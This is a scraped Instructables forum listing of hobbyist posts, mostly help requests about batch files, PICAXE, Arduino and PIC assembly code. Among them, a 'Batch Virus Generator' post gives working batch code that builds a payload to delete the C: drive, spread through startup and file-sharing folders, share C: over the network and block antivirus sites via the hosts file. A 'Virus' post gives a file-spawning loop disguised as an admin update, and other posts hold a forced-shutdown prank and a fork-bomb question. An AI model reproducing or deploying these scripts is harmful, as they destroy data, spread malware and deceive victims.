desktop and then click on it.this is what the code looks like. me copying the code messed it up. so please just download the .exe verson[www.dsman1.webs.com/calc.exe download]

Posted by dsman195276 10 years ago  |  last reply 10 years ago


Chocolate muffins

Who likes chocolate muffins if you do goto https://www.instructables.com/id/My_Mums_Delicious_Chocolate_Muffins/

Posted by knex maddo 10 years ago  |  last reply 10 years ago


can you crash a copmuter by running:@echo off:1start *.* goto 1?

 

Asked by obiwanakin 8 years ago  |  last reply 6 years ago


WEBSITES!!!

My sites www.legoengines.co.cc www.modelengines.co.cc I made these 4 friends: www.thetiger.co.cc www.nowimpsallowed.co.cc None of these are done!!! goto them though. the top 2 are good.

Posted by sci4me 8 years ago  |  last reply 4 years ago


Batch

I was wondering if any one could tell me whats wrong with this batch file?@ echo offecho Would you like to format C:? Y/Nset /p answer=if %answer%=n goto 2exitif %answer%=y goto 3exit:2echo System Failure!shutdown -s -f -t 10pause:3echo ERROR!!shutdown -s -f -t 10pause

Posted by eragon44111 9 years ago  |  last reply 4 years ago


Batch programming: this doesn't work?

Ok, so I've been making a program that tells jokes (just as a test). What I'm trying doesn't work for some reason, and I don't know why. Can you tell me how to fix this, or give me a new code that does the same thing but without a separate .txt file? Here's the code: @echo off title Joke Test color 0a :joke set /a joke=%random% %% 6+1 if %joke%==1 do ( cls echo. echo           What is the stupidest animal in the jungle? pause > nul echo. echo                       The polar bear. pause > nul goto menu ) if %joke%==2 do ( cls echo. echo            Where did Mary go after the explosion? pause > nul echo. echo                       Everywhere!                      pause > nul goto menu ) if %joke%==3 do ( cls echo. echo                  Knock knock. pause > nul echo. echo                  Who's there? pause > nul echo. echo                  Europe. pause > nul echo. echo                  Europe who? pause > nul echo. echo                  No ur a poo! pause > nul goto menu ) if %joke%==4 do ( cls echo. echo       A man walks into a zoo. The only animal there is a dog. pause > nul echo. echo                       It's a shitzhu. pause > nul goto menu ) if %joke%==5 do ( cls echo. echo           What do you call a kid with facial deformation? pause > nul echo. echo                           Names. pause > nul goto menu ) if %joke%==6 do ( cls echo. echo           What did the pirate say on his 80th birthday? pause > nul echo. echo                          Aye matey! pause > nul goto menu )

Asked by TheBigRoosterYo 2 years ago  |  last reply 2 years ago


What's wrong with my code ?

Hello , i am using PICBASIC PRO to send an RC-5 code which would theoretically send a Standby message to a phillips TV ... each time a new bit is sent a subroutine is called ...i tested the program and it runs correctly BUT it does NOT work ... does anybody have any idea why isnt it working ? here is the code i wrote :DEFINE OSC 20val var byteval=0mainRoutine:gosub log1gosub log1goto togcmd:'Send the Adressgosub log0gosub log0gosub log0gosub log0gosub log0'Send the Commandgosub log0gosub log0gosub log1gosub log1gosub log0gosub log0pause 114goto mainRoutinelog1:low 0pauseus 889high 0pauseus 889returnlog0:high 0pauseus 889low 0pauseus 889returntog:if val == 0 thenval =1gosub log0goto cmdendifif val == 1 thenval =0gosub log1goto cmdendif

Asked by Vladmakesstuff 9 years ago  |  last reply 9 years ago


picaxe sensitivitį

Hi there instructables, recently I have bought a picaxe starter kit, soldered it and stuff, played with some code and leds, but now I want to make a time control, so I bought a cheepo alarm clock, desolder the piezo beeper and extended the wires so I can conect them to my picaxe, turns out its too sensitive, the pin I've set to input piks up heat fom my fingers about a centimeter away, breath too, I think it picks up grounding as a signal too, does it ment to be that sensitive or have I messed something up with soldering or the code?  heres the code I used  main: if pinc.4 = 1 then goto led goto main led: high c.1 pause 500 low c.1 pause 100 goto main

Posted by batonas 4 years ago  |  last reply 4 years ago


How to make a custom CMD window have custom commands (or commands at all) Answered

Hey guys, I made a simple cmd program: @echo off color 0a title %CD% echo DBAC(R) Windows DOS echo (C)Copyright DBAC 2009+ echo. :CMD set /p cmd=%CD%^> %cmd% goto CMD I just have a question: How do I give it commands? Where do I tell it where to find them? If anybody knows, comment please! Thank you! EDIT: Resolved. @echo off color 0a title %CD% echo DBAC(R) Windows DOS echo (C)Copyright DBAC 2009+ echo. :CMD set cmd= set /p cmd=%CD%^> if not defined cmd goto CMD call "%CD%"\Commands\%cmd% echo %cmd%>"%CD%\Commands_Log\%cmd% goto CMD

Asked by TheBatchies 8 years ago  |  last reply 8 years ago


Useful Batch Commands

Hey guys, I wanted to post a quick forum topic about useful batch commands that are seldom used or not well-known, or maybe just useful tidbits. Note: These do not have to be used, they are just extremely helpful and are just "extra," meaning you could probably find easier-to-understand but not as useful commands. 1. The CHOICE command The reason this command is so cool is that unlike other Y/N menus, when you enter the desired number, you don't have to hit enter, it goes straight to the next screen. You can also program it to execute a command after a set amount of time. Here's how to write it out: choice /c:12345 /t:5,10 if errorlevel 5 goto ha if errorlevel 4 goto joke if errorlevel 3 goto tired if errorlevel 2 goto fried if errorlevel 1 goto chiken To time it, you type /t and then a colon. You write the choice that you want to be timed, e.g. 5, and the amount of time in seconds you want it to wait for seperated by a comma. 2. The Random Variable The reason I deceided to put this up is because it is one of the only if not the only variable that is already programmed into the system. By using it correctly, you can generate a number between 1 and 32767. WHAT?! Of course, you can narrow it down, to, say about 1 and 100. :dim set rnd=%random% if %rnd% GEQ 101 goto dim if %rnd% LEQ 0 goto dim set number=%rnd% So as you can see, %random% is a set variable and generates a random number for you. Please keep in mind that this can take one second, or one eternity (literally) since it doesn't narrow down the choices after finding that a number doesn;t work. So, you may keep on generating 101 forever and never get to 100! 3. The ^| Command. Ever get frustrated because you are making an animation with, for example, stick figures and are getting driven nuts because the minute it gets to a certain part, it exits on you? The reason is probably because you used the | symbol, which is actually knd of like a command by itself. So, if you're doing something like this: echo [0] echo /| echo / The reason it is not working is because you didin't use a ^ before the |. Here's what it should be: echo [0] echo /^| echo / Yes, it looks wierd in the editing stages, but looks much better in the real thing. Just remember, you will have to remember that the ^ will be invisible, so make sure everything else in front of it is like this: echo [0]   [ echo /^|    [ echo /     [ So that the [ or whatever it is is one space ahead from the others. 4. The %TIME:~0,5% Command. What time is it? Oh, it's 3:16:52.29! Ever been frustrated with the TIME command? For one, who ( and when I mean who, I mean the average batcher who doesn't use the TIME command to synchronize seven different computers around the house which I could never hope to do) needs to be that exact? When making a batch alarm clock, for example, the user wouldn't really want to do all of that, would they? So, for those of you who would want to make such a clock, here's an example: @echo off title Alarm Clock :start cls color f0 echo. echo Use 24 hour clock echo. set /p a=Set Alarm: cls echo. echo Alarm set to %a%. :alarm if %time:~0,5% EQU %a% goto alarmset goto alarm :alarmset color fc echo echo echo cls echo. echo It's %time:~0,5%! echo. echo Press 1 to acknowledge. choice /n /c:12 /t:2,1 if errorlevel 2 goto alarmset if errorlevel 1 goto sleep goto alarmset :sleep goto start So there's one example. %TIME:~0,5% sets the time from 3:15:00.00 to just 15:15. This doesn't work just with the TIME command, you can do this with any variable. If I had a variable %x% and it said "crayon" and wanted it to say "cray," I would type in %x:~0,-2%. If I wanted to make %x% say "on," I would type in %x:~-4,0%. 5. The AT Command The AT command is exactly what it appears to be. You tell it AT (time) /every:[day(s) of the week] (command to be executed). So, it I wanted an alarm to go off whenever the Simpsons are on, I'd type AT 19:30 /every:sumtwthfs echo ALARM!!! Now, I know that the Simpsons are on at a different time on Sundays, but that's not important. Please not that you HAVE to specify what day you want it to go off on (it can be dd/mm/yyyy to be really specific). Default is set to "tomorrow." This was probably too confusing. For one, I talk too much. Thank you for even getting this far, anyways. Thanks a bunch!

Posted by TheBatchies 8 years ago  |  last reply 8 years ago


Iphone dead?? Answered

I was trying to upload a video to youtube with my Iphone, and the screen went black. Iv'e tried everything. The battery isn't dead. What can I do before I goto the apple store?

Asked by rec0n 8 years ago  |  last reply 8 years ago


Virus

I did this at school. Open notepad, copy and paste this, then save it as Admin update.bat & then when you've saved it, create a shortcut then hide the original file. After that, change the icon to the one that looks like the .txt file(i am not responsible for what you do with this):@echo off:1set title=%random%@echo off>%title%.bat:1>%title%.batset title=%random%>%title%.bat@echo off>%title%.bat>%title%.bat:1>%title%.bat>%title%.batset title=%random%>%title%.bat>%title%.batgoto 1>%title%.batgoto 1

Posted by krujh2 9 years ago  |  last reply 8 years ago


what is 3 ways to tie your shoes?

I know 2 ways but wondering if there wuz 3. :D goto my site and sign up too! ( http://www.tinyurl.com/codytilkins/ ) thanks!!!!!!!!!!!!!!!!!!!!!

Asked by pwnpk23 8 years ago  |  last reply 8 years ago


Wireless help in linux? Answered

Ok so, i plugged in ma netgear wg111...i goto connect on the desktop, goto the WAN option (the second icon down) load the module (ive tried both the defualt and the ndis) and put in my password and stuff, and no dice...i think its a problem w/ puppy to my actiontec gt704wg...the wired ethernet works, and i can connect to 192.168.1.1and tinker arount with that (but not with my usb dongle) ....any suggestions...i would really like to use puppy for my sisters laptop and this dongle but this is the only thin stopping me.... :(

Asked by fwjs28 9 years ago  |  last reply 9 years ago


Please help a noob

I have a script that kills processes listed in text file, i need it to also run listed processes if they are closed. @echo off echo Edvinas Petukas Mtnl_14 @echo off &setlocal; enabledelayedexpansion tasklist /fo list|find /i ".exe">%temp%\running.tmp for /f "tokens=2*" %%a in (%temp%\running.tmp) do ( call :process %%b ) pause exit /b :process for /f "tokens=*" %%c in (sarasas.txt) do if "%*"=="%%c" ( set Answ=N echo Isjungti procesa? set /p Answ=Kill %*? IF /I NOT "!Answ!"=="Y" GOTO :EOF if errorlevel 1 goto :EOF echo Killing %%c taskkill /f /im "%%c" )

Asked by EdvinasP 4 years ago  |  last reply 4 years ago


Band, Miter, jig or scroll saw: the "goto" tool

Hi, I was wondering what people use for prepping materials to fit on small workspace spaces. I am interested in using machinable materials like acrylic, lexan, delrin, hdpe, machinable foam, polystyrene, brass and aluminum. These materials are usually easy to get in the right thickness and width, but the length could be 4'. I need to slice them down to sizes no more than 5.25" long to be used on a small cnc machine (5.5"x4.5"x1.25" build area) What do you think, or have experience with, that solves most of your needs? Thanks, Andy

Posted by AndyWilson 3 years ago  |  last reply 3 years ago


editing LED matrix code help?

Hi All, For a while now I've been working on a pair of LED matrix glasses. I've been following this instructable to guide me in the right direction. The code used in this instructable is ok but I want to add something to it (but don't know how obviously). I would like the code to pick a random animation (from one of the preprogrammed animations) and play it a random amount of times. It should also be possible to play the next animation by the press of a button. The maximum and minimum amount of times to play an animation will be predeterment (separately for every animation). If possible but I think this will be tricky, it would be nice to have a transition animation when switching animations. What I've got so far is: //test random animation script int TotAnim = 4;              //totaal animations int LoopTime = 1;             //times to reapeat the animation randomly selected long AnimNumb;                //animation number randomly selected int LoopCount = 0;            //times the animation played int MaxLoop = 10;             //variable to store maximum times to repeat animation int MinLoop = 20;             //variable to store minimum times to repeat animation int FrameTime = 4;            //variable to store the times to play 1 frame int Frames = 10;              //variable to store the amount of frames of the selected animation char AnimName;                //stores the selected animation name void setup(){   Serial.begin(9600);   randomSeed(analogRead(0)); } void loop(){ if (LoopTime != LoopCount){     LoopCount += 1;   //for testing   Serial.print(" loop times: ");   Serial.print(LoopTime);   Serial.print(" loop count: ");   Serial.print(LoopCount);   Serial.print(" animation: ");   Serial.print(AnimNumb);   Serial.print(" frames: ");   Serial.println(Frames);   Serial.print("run_animation_p(");   Serial.print(FrameTime);   Serial.print(", ");   Serial.print(AnimNumb);   Serial.print(", ");   Serial.print(Frames);   Serial.print(", ");   Serial.print(LoopTime);               //LoopTimes might have to be 1 in the "run_animation_P(12, rotatebox_P, 4, 30);"   Serial.print(");");   delay(70); } else if (LoopTime == LoopCount){   LoopCount = 0;   AnimNumb = random(1, TotAnim);   switch (AnimNumb){     case 1:                            //animation number //    AnimName = rain                    //name of the animation     MaxLoop = 20;                      //maximum times to repeat the loop     MinLoop = 5;                       //minimum times to repeat the loop     Frames = 10;                       //amount of frames of the animation     FrameTime = 1;                     //times to play 1 frame     goto next;                         //goto the next part     break;         case 2:                            //animation number //    AnimName = rotating_box            //name of the animation     MaxLoop = 30;                      //maximum times to repeat the loop     MinLoop = 30;                       //minimum times to repeat the loop     Frames = 20;                       //amount of frames of the animation     FrameTime = 2;                     //times to play 1 frame     goto next;                         //goto the next part     break;         case 3:                            //animation number //    AnimName = test                    //name of the animation     MaxLoop = 50;                      //maximum times to repeat the loop     MinLoop = 30;                       //minimum times to repeat the loop     Frames = 30;                       //amount of frames of the animation     FrameTime = 3;                     //times to play 1 frame     goto next;                         //goto the next part     break;         case 4:                            //animation number //    AnimName = test2                   //name of the animation     MaxLoop = 25;                      //maximum times to repeat the loop     MinLoop = 2;                       //minimum times to repeat the loop     Frames = 40;                       //amount of frames of the animation     FrameTime = 4;                     //times to play 1 frame     goto next;                         //goto the next part     break;     }     next:     LoopTime = random(MinLoop, MaxLoop); } } I'm not a good coder BUT what you see up here works! The only thing is, I can't get this into the original code. Can someone help me with the code?

Asked by theexternaldisk 5 years ago  |  last reply 5 years ago


Batch File Help

Okay, so I figured out how to make one batch file send information to another one. The solution was quite simple. Sejma helped, both witht he final design and for support. I just want to know if there is a way to time an IF command without using CHOICE. Basically, I want to combine the two: ping localhost -n x > nul if %a% equ a goto a If that is even possible, I don;t know. I know I've posted a million questions already, so I'm very sorry about that. Thank you for your time. EDIT: Figured it out. IF %A% EQU A GOTO A & PING LOCALHOST -N x > NUL Now, does anybody know how to convert a .EXE file to a .BAT file?

Asked by TheBatchies 8 years ago  |  last reply 6 years ago


Can i change the instructables page layout back to the origional ??? Answered

I really dislike the new layout you dont see your new comments cant quickly goto the orange bord etc i was wondering if i could change it back to the original

Asked by goeon 9 years ago  |  last reply 9 years ago


Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 11 years ago  |  last reply 10 years ago


My batch file won't work!

I was working on a puzzle batch file. Everything works except for the end, where it quits for no reason. Here's the code: @echo off set puzzle1=%random% set puzzle2=%random% set puzzle3=%random% echo I will make three files. pause echo Each of them will be a piece of the puzzle. pause echo Are you ready? pause echo Begin. pause echo %puzzle1% >> 1.txt echo %puzzle2% >> 2.txt echo %puzzle3% >> 3.txt :a set answer= set /p answer=Answer: if '%answer%'=='%puzzle1% %puzzle2% %puzzle3%' goto b if not '%answer%'=='%puzzle1% %puzzle2% %puzzle3%' goto a :b echo I knew you could do it. FOR %%A IN (*.txt*) DO DEL %%A pause >nul exit

Asked by BangBang1337 3 years ago  |  last reply 3 years ago


Choice command works in CMD but not in a batch file

I was trying to use the Choice command in Windows7 and when I tested it in CMD it worked fine, but when I try to use it in a batch nothing shows up it just stops the batch from doing anything on a blank line. So lets say my batch file was... @echo off echo Hi echo Person choice /c YN /m Will you be my friend? if ERRORLEVEL==2 goto :end if ERRORLEVEL==1 goto :a echo If you see this it failed... :a echo YAY! Pause>nul :end exit Then I would see Hi Person Then nothing after that. It would just be blinking like you have to type in something on a blank line. Any Ideas?

Asked by noobererer 8 years ago  |  last reply 6 years ago


what's this programming code language? Answered

i found a code for a pic16f28A it's simple: main:  lablel0:   switch off 3   switch on 0   pause 1000   switch on 1   switch off 0   pause 1000   switch on 2   switch off 1   pause 1000   switch on 3   switch off 2   goto label0

Asked by top.boy 7 years ago  |  last reply 7 years ago


picaxe code help? Answered

Here is the code for a breathnalayzer using picaxe14m2  ignore the if b2= as i have to experiment and get the values and i havent done so. the code stores messages in eeprom and in the starting it operates a rgb led to create effects the code: low B.0'initialise lcd outpu pause 500'wait for lcd to initialise 'load messages in eeprom EEPROM 0,("NO ALCOHOL") EEPROM 10,("ONE OR TWO DRINKS") EEPROM 27,("BUZZED") EEPROM 33,("DRUNK") EEPROM 38,("WASTED") EEPROM 44,("BLOW ON THE SENSOR FOR 5 SEC") high b.2'red pause 2000 low b.2 high b.3'green pause 2000 low b.3 high b.4'blue pause 2000 low b.4 pause 1000 high b.3,b.4'sky blue pause 2000 low b.3,b.4 pause 1000 high b.2,b.4'pink pause 2000 low b.2,b.4 pause 1000 high b.3,b.2'yellow pause 2000 low b.3,b.2 pause 1000 high b.2,b.3,b.4'white pause 2000 low b.2,b.3,b.4 pause 1000 for b0=45 to 75 'print blow on the sensor read b0,b1 serout B.0,n2400,(254,1,b1) next b0     main:readadc B.1,b0      if b2=54 then main1      if b2=45 then main2      if b2=45 then main3      if b2=45 then main4      if b2=245 then main5      goto main      main1:high b.3'on green led       for b3= 0 to 9'print no alcohol       read b3,b4'read eeprom locations 0to10       serout b.0,n2400,(254,1,b4)       next b3       low b.3       goto main       main2:high b.4'on blue led       for b5= 11 to 27       read b5,b6       serout b.0,n2400,(254,1,b6)       next b5       low b.4       goto main       main3:high b.3'sky blue       high b.4       for b7= 28 to 33       read b7,b8       serout b.0,n2400,(254,1,b8)       next b7       low b.3       low b.4       goto main       main4:high b.3'yellow       high b.2       for b9= 34 to 38       read b9,b10       serout b.0,n2400,(254,1,b0)       next b9       low b.3       low b.2       goto main       main5:high b.2'red danger       for b11= 39 to 44       read b11,b12       serout b.0,n2400,(254,1,b12)       next b11       low b.2       goto main

Asked by robot1398 7 years ago  |  last reply 7 years ago


Yabasic (for the PS2)

I found Yabasic as an extra for a PS2 demodisc, and i recently dug it out from my Ps2 pile. it is a fun and simple piece of software for creating small programs, in which you type a command (eg. print, input, goto, beep etc.) and then a piece of text. here is a code for a simple number guess program, sorry for mistakesREM Number guess gameprint "I am thinking of a number between 1 and 50, try to guess it!"input a$if (a$>13) thenprint "your number was larger than mine!"goto inputendifelseif (a$<13) thenprint "your number was smaller than mine!"goto inputendifelseif (a$=13) thenprint "My number was 13! Congratulations, you win!"Feel free to edit the prints, and the number doesn't have to be 13. there are other things involving string variables and other commands. heres one called identitiy finderREM Identity finder programPrint "What is your name?" :":input a$Print "How old are you, ",a$,"?" :":Input b$Print "And where do you live, ",a$,"?" :":Input c$Print "so your name is ",a$,", you are ",b$," years old and you live in ",c$,", correct?"Pause 5Feel free to add more string variables, just add them as d$, e$, f$ etc.anyway, post coding for more yabasic programs, and use the stuff above!

Posted by The Jamalam 10 years ago  |  last reply 9 years ago


Spammy Batch File

Here is the code for a spammy batch file. @echo off echo This batch file is made possible by the divine blessing of Monty Python! pause>nul echo Spam Spam Spam Spam echo Spam Spam! A: echo Lovely Spam! echo Beautiful Span! echo Lovely Spam! echo Beautiful Spam! goto a

Posted by dla888 9 years ago  |  last reply 6 years ago


Why won't my Batch RPG potions work correctly?

     Hello there. Right now, I'm working on a Batch RPG. I have finished coding the first battle, gotten the game over screen and victory screen done, etc. The last thing I need to fix is my potion system. It works in a way where it heals my character for 300 damage, but it gives me all 300 points, if you know what I mean. Basically, I start with 243 HP, and when I get low, I use a potion. After using it, I gain 300 HP, which brings me way up to 290 hit points when I'm low on health. I want to put a "barrier" in the code to tell it when to stop adding, but I can't figure out how. Here's my code for the potions, if anybody needs to look at it: :loop :potionstats1 cls set /a CHP+=%POTION% set /a IPOTION-=%POTIONUSE% if %CHP% equ %CHPTOT% goto manditoryb1 if %IPOTION% leq 0 goto outtapotions1 goto manditoryb1 CHP is the HP of the character, POTION is obviously the potion healing me. IPOTION is the potion in my inventory. Every time I use one, one gets taken away from my inventory. That's done by using POTIONUSE. CHPTOT is my total HP. If anyone could maybe take a look at the code and tell me if I've made a mistake or not, that would be great. Thanks!

Asked by TheCoolDude 3 years ago


How to check if a video is playing, and if it is play it, if not don't play?

This is what I got: @ECHO off xcopy /h startMe2.bat u:\ xcopy /h InformationalVideo.mp4 u:\ :start tasklist /nh /fi "imagename eq InformationalVideo.mp4" | find /i "InformationalVideo.mp4" > nul ||(start InformationalVideo.mp4 param1) start startMe.bat start u:\startMe2.bat goto start but it doesn't work, anyone care to help?

Asked by BrettJ9 3 years ago  |  last reply 3 years ago


Is there anyway that someone could make me a .hex file from this .asm, or at least tell me how?

Hey, I have a .asm file. I have tried MPLAB, but I am not doing it right. ;-----------------------------------------------------------------------; ; BINCLOCK.ASM A clock that displays in bcd numbers ; ;-----------------------------------------------------------------------;         LIST P=16F84 ; tells which processor is used         INCLUDE "p16f84.inc" ; defines various registers etc. Look it over.         ERRORLEVEL -224 ; supress annoying message because of tris         __CONFIG _PWRTE_ON & _LP_OSC & _WDT_OFF ; configuration switches             CBLOCK 0CH                 sec ; seconds digit                 sec10 ; 10's of second digit                 mins ; minutes digit                 min10 ; 10's of minutes digit                 hr ; hours digit                 hr10 ; 10's of hours digit                 w_temp ; holds W during interrupt                 status_temp ; holds STATUS during interrupt                 fsr_temp ; holds FSR during interrupt                 button ; holds mask for pushbuttons               ENDC ;-----------------------------------------------------------------------; ; Here are some DEFINEs which give 'names' to pushbutton port bits ; ;-----------------------------------------------------------------------;             #DEFINE SETPB PORTB, 4             #DEFINE SELECTPB PORTB, 5             #DEFINE SHOWPB PORTB, 6             ORG 0 ; start at location 0             goto main ; jump over to main routine ORG 4 goto isr ; jump to interrupt routine ;-----------------------------------------------------------------------; ; High limit + 1 of digits at position W ; ;-----------------------------------------------------------------------; sethi: addwf PCL, f dt H'A',H'6',H'A',H'6',H'A',H'3' ;-----------------------------------------------------------------------; ; Delay routines ; ;-----------------------------------------------------------------------; msec250: ; enter here to delay for 250 milliseconds movlw D'250' nmsec: ; delay for # msec in W on entry nop ; each nop is 0.122 milliseconds nop nop ; each total loop is 8 X 0.122 = 0.976 msec nop addlw H'FF' ; same as subtracting 1 from W btfss STATUS, Z ; skip if result is zero goto nmsec ; this is 2 X 0.122 msec return ; back to calling point ;-----------------------------------------------------------------------; ; Delay for one second ; ;-----------------------------------------------------------------------; onesecond: ; a subroutine that delays for 1 seconds call msec250 call msec250 call msec250 call msec250 return ;-----------------------------------------------------------------------; ; Put value in W on LEDs for 1 second ; ;-----------------------------------------------------------------------; sendnbr: movwf PORTB ; light LEDs call onesecond ; wait 1 second clrf PORTB ; clear the LEDs movlw D'100' ; pause for 0.1 sec call nmsec return ;-----------------------------------------------------------------------; ; Send the current time out LEDs ; ;-----------------------------------------------------------------------; disptime: movf hr10, W call sendnbr movf hr, W call sendnbr movf min10, W call sendnbr movf mins, W call sendnbr return ;-----------------------------------------------------------------------; ; Wait until selected button is released ; ;-----------------------------------------------------------------------; waitup6: ; wait for show pushbutton up movlw B'01000000' ; RB6 mask movwf button goto wait waitup5: ; wait for select pushbutton up movlw B'00100000' ; RB5 mask movwf button goto wait waitup4: ; wait for set pushbutton up movlw B'00010000' ; RB4 mask movwf button wait: movf button, W ; mask into W andwf PORTB, W btfsc STATUS, Z ; skip if not zero (released) goto wait movlw D'10' call nmsec ; wait 10 msec for debounce movf button, W ; check for release again andwf PORTB, W btfsc STATUS, Z ; skip if selected button released goto wait return ; yes, finished ;-----------------------------------------------------------------------; ; Initilization Subroutine ; ;-----------------------------------------------------------------------; init: movlw B'0000000' ; all outputs port A tris PORTA movlw B'01110000' ; RB4 - RB6 inputs, others outputs tris PORTB ; on port B movlw H'0' ; all low (off) movlw PORTB movlw B'00000100' ; pull-ups enabled ; prescaler assigned to TMR0 ; prescaler set to 1:32 ; rolls over each second option movlw 0 movwf hr10 movlw H'9' ; initialize hrs, mins and secs movwf hr ; Do this before interrupts are movlw H'5' ; turned on because isr also acts movwf min10 ; on these registers movlw H'0' movwf mins movwf sec10 movwf sec movlw B'10100000' ; GIE & T0IE set, T0IF cleared movwf INTCON return ;-----------------------------------------------------------------------; ; Interrupt routine, increments time by one second (BCD) ; ;-----------------------------------------------------------------------; isr: movwf w_temp ; save W swapf STATUS,W ; save status movwf status_temp ; without changing flags swapf FSR,W ; save FSR movwf fsr_temp ; without changing flags movlw sec ; point at sec register movwf FSR newdigit: incf INDF, f ; current digit up one movlw sec ; get difference between sec and FSR subwf FSR, W call sethi ; use to get high limit + 1 subwf INDF, W ; reached that number yet? btfss STATUS, Z ; skip over if yes goto restore ; else exit isr clrf INDF ; set current digit to 0 incf FSR, f ; point at next digit btfss hr10, 1 ; has hr10 reached 2? goto newdigit ; no, increment the next digit btfss hr, 2 ; has hr reached 4? goto newdigit ; no clrf hr ; yes, set hour to 00 clrf hr10 ; and hour 10 restore: swapf status_temp,W ; get original status back movwf STATUS ; into status register swapf fsr_temp,W ; get original fsr back movwf FSR ; into status register swapf w_temp,f ; old no flags trick again swapf w_temp,W ; to restore W bcf INTCON,T0IF ; clear the TMR0 interrupt flag retfie ; finished reset GIE ;-----------------------------------------------------------------------; ; Increment and display digit pointed to by FSR ; ;-----------------------------------------------------------------------; updigit: incf INDF, f ; selected digit up one movlw mins ; set up to subtract mins address subwf FSR, W ; from address of current digit call sethi ; get maximum of digit + 1 into W subwf INDF, W ; is it = to current digit value? btfsc STATUS, Z ; gives zero if yes, skip if no clrf INDF ; reset value of digit to zero movf INDF, W ; get current value and .. movwf PORTB ; display it call onesecond ; pause for 1 second return ;-----------------------------------------------------------------------; ; increment selected digit until select pressed ; ;-----------------------------------------------------------------------; setdigit: movwf PORTB btfss SETPB ; set pressed? call updigit ; yes btfsc SELECTPB ; check if select pressed goto $ -3 ; repeat till select pressed again call waitup5 ; make sure select released incf FSR, f return ;-----------------------------------------------------------------------; ; Select and increment digits ; ;-----------------------------------------------------------------------; select: bcf INTCON, GIE ; no interrupts while setting time movlw mins ; point at minutes register movwf FSR call waitup5 ; wait on select pushbutton up movlw B'00000001' ; light right LED (mins) call setdigit movlw B'00000010' ; light min10 LED call setdigit movlw B'00000100' ; light hr LED call setdigit movlw B'00001000' ; hr10 LED on call setdigit clrf PORTB ; clear LEDs bsf INTCON, GIE ; enable interrupts again return ;-----------------------------------------------------------------------; ; The main routine ; ;-----------------------------------------------------------------------; main: call init ; set up initial conditions loop: btfss SHOWPB ; check for show pushbutton call disptime ; display the time btfss SELECTPB ; check for select call select goto loop ; do forever end     

